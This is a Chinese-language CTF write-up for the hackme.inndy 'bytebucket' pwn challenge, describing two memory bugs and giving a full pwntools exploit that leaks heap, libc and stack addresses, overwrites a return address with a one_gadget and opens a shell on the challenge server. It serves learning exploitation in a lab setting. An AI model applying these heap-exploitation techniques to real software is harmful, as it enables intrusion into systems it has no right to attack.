美文网首页
hackme inndy bytebucket题目

hackme inndy bytebucket题目

作者: Ovie | 来源:发表于2019-01-09 16:00 被阅读0次

    题目链接:https://hackme.inndy.tw/scoreboard/ (随便输个名字登录即可看到题目列表)

    下载bytebucket文件,checksec下:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    

    程序功能

    基本功能是增删改查bucket,一个bucket对应多个slot。bucket结构体:

    0x8字节      : 下一个bucket的地址
    0x8字节      : slot_count
    0x10字节     : bucket_name
    0x8 * n字节  : n个slot地址
    

    有下面几个操作:

    1. Make bucket  插入一个bucket到buckets链中,给该bucket填充slot。这条bucktes链的链头地址存在0x203148处(g_bucket_head),在0x203140处存储当前指向的bucket(g_bucket_current)。
    2. List bucket
    3. Find bucket  通过bucket_name找到bucket,并用g_bucket_current指向该bucket
    4. Next bucket  
    5. Drop bucket
    6. Open bucket  打开g_bucket_current指向的bucket,可打印、编辑、删除slot,重命名bucket
    7. Sort bucket
    8. Exit bucket
    

    程序开始新建了两个bucket:

    --- List of Buckets ---
    Bucket[1]->name = "/root/locked";   // 这个bucket有个slot即第一个flag,第二个flag通过需shell来获取
    Bucket[2]->name = "/home/ctf/flag";
    

    漏洞点

    1. 在读取用户输入的字符串时,可以让其不在末尾拼接\x00(sub_EA8函数和sub_CBA函数),导致可以通过printf泄露出heap地址。如:输入0x10长度的bucket_name再List bucket输出可泄露堆地址;输入0x100长的字符可打印出g_bucket_current的值, 即泄露堆地址。
    2. make bucket操作:新建的bucket内存,并不清零,而当用户输入的slot大小为0时,其也不把slot地址置0,也就是如果在这个slot处我们先放入一个地址值,我们就可以通过操作这个slot来读写这个地址指向的内存。可以利用其泄露libc地址,泄露栈地址,达到UAF,覆盖某个bucket的下一个bucket的地址等。

    pwn脚本

    # -*-coding:utf-8-*-
    from pwn import *
    import pdb
    
    # context.log_level = "debug"
    
    def make_bucket(p, bucket_name, slot_datas):
        p.recvuntil("What to do >>")
        p.sendline("1")
        p.recvuntil("Size of bucket >>")
        p.sendline(str(len(slot_datas)))  # slot_count
        p.recvuntil("Name of bucket >>")
        p.sendline(bucket_name)
        
        for i in xrange(0, len(slot_datas)):
            p.recvuntil("Size of content >>")
            p.sendline(str(len(slot_datas[i])))
            if len(slot_datas[i]) > 0:
                p.recvuntil("Content of slot >>")
                p.send(slot_datas[i])
    
    
    def find_bucket(p, bucket_name):
        p.recvuntil("What to do >>")
        p.sendline("3")
        p.recvuntil("Bucket name to find >>")
        p.sendline(bucket_name)
    
    
    def drop_bucket(p):
        p.recvuntil("What to do >>")
        p.sendline("5")
    
    ## run using my libc.so
    # env = {"FLAG1": "flag{flag1}"}
    # p = process("./bytebucket2", env=env)
    # libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    
    ## 
    # env = {"FLAG1": "flag{flag1}", "LD_PRELOAD" : "/root/pwnfile/inndy_libc-2.23.so.x86_64"}
    # p = process("./bytebucket2", env=env)
    p = remote("hackme.inndy.tw", 7722)
    libc = ELF("/root/pwnfile/inndy_libc-2.23.so.x86_64")
    
    
    # Step1: leak heap addr
    make_bucket(p, "PPP", ['pppp'])  # 增加栈地址,避免要打印出的栈地址为0xXXXXXXXX00YY,打印该地址时会\x00截断,从而只输出0xYY
    make_bucket(p, "QQQ", ['qqqq'])
    find_bucket(p, "A" * 0x100)  # 会输入0x100个字符到0x203040,printf打印0x203040的值时就会打印出跟在它后面的0x203140处的值,即g_bucket_current的值
    p.recvuntil("A" * 0x100)
    addr_heap = u64(p.recvuntil('"', drop=True).ljust(8, "\x00"))
    log.success("addr_heap: " + hex(addr_heap))
    addr_flag1 = addr_heap - 0x100
    
    # Step2: get flag1
    payload = [p64(addr_flag1) * 0x30]  # 先在堆上布置flag1的地址
    make_bucket(p, "AAA", payload)
    drop_bucket(p)
    
    make_bucket(p, "BBB", ["bbbb"])
    make_bucket(p, "CCC", [""])  # let size of slot content be zero
    
    
    p.recvuntil("What to do >>")
    p.sendline("6")
    p.recvuntil("What to do >>")
    p.sendline("1")  # 打印CCC这个bucket的slot,该slot就是flag1的地址
    p.recvuntil("Row[0]:")
    flag1 = p.recvuntil("+---", drop=True)
    log.success("flag1: " + flag1)
    p.recvuntil("What to do >>")
    p.sendline("5")
    
    
    # Step3: leak libc addr
    addr_free_chunk = addr_heap + 0x150
    payload = [p64(addr_free_chunk) * 0x30]
    make_bucket(p, "DDD", payload)
    make_bucket(p, "EEE", ["eeee"])  # near top chunk
    
    find_bucket(p, "DDD")
    drop_bucket(p)
    make_bucket(p, "FFF", ["ffff"])
    make_bucket(p, "GGG", [""])  # let size of slot content be zero
    
    
    p.recvuntil("What to do >>")
    p.sendline("6")
    p.recvuntil("What to do >>")
    p.sendline("1")
    p.recvuntil("Row[0]:")  # 打印CCC这个bucket的slot,该slot值指向一个unsorted bin chunk,打印该slot就泄露出unsorted bin地址,再计算出libc基址
    addr_unsorted_bin = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
    log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin))
    addr_libc = addr_unsorted_bin - 0x3c3b78 # fix it. In my libc: 0x3c4b78
    log.success("addr_libc: " + hex(addr_libc))
    p.recvuntil("What to do >>")
    p.sendline("5")
    
    # at this moment, we have a unsorted bin chunk(size: 0x140)
    
    # Step4: leak stack addr by environ
    addr_environ = addr_libc + libc.symbols["environ"]
    addr_system = addr_libc + libc.symbols["system"]
    
    make_bucket(p, "HHH", [p64(addr_environ) * 0x20])
    drop_bucket(p)
    make_bucket(p, "III", ["iiii"])
    make_bucket(p, "JJJ", [""])  # let size of slot content be zero
    
    p.recvuntil("What to do >>")
    p.sendline("6")
    p.recvuntil("What to do >>")
    p.sendline("1")
    p.recvuntil("Row[0]:")
    addr_stack = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
    log.success("addr_stack: " + hex(addr_stack))
    p.recvuntil("What to do >>")
    p.sendline("5")
    
    # at this moment, we have a unsorted bin chunk(size: 0xc0)
    
    # Step 5: modify ret to one_gadget
    addr_ret = addr_stack - 0xf0
    # 该one_gadget需满足[rsp+0x70] == NULL
    addr_one_gadget = addr_libc + 0xf0897 # fix it. In my libc: 0xf1147
    make_bucket(p, "KKK", ["k"] * 4)  # consume the unsorted bin chunk
    
    make_bucket(p, "LLL", [p64(addr_ret) * 0x30])
    make_bucket(p, "MMM", ["mmmm"])  # near top chunk
    
    find_bucket(p, "LLL")
    drop_bucket(p)
    
    make_bucket(p, "NNN", ["nnnn"])
    make_bucket(p, "OOO", [""])  # let size of slot content be zero
    
    p.recvuntil("What to do >>")
    p.sendline("6")
    p.recvuntil("What to do >>")
    p.sendline("2")  # edit data
    p.recvuntil("Which line of data >>")
    p.sendline("0")
    p.recvuntil("Size of new content >>")
    p.sendline("5")
    p.recvuntil("New content >>")
    p.send(p64(addr_one_gadget)[:5])
    p.recvuntil("What to do >>")
    p.sendline("5")
    
    
    # Step 6: exit to execute one_gadget
    p.recvuntil("What to do >>")
    p.sendline("8")
    
    p.interactive()
    
    

    相关文章

      网友评论

          本文标题:hackme inndy bytebucket题目

          本文链接:https://www.haomeiwen.com/subject/imdgrqtx.html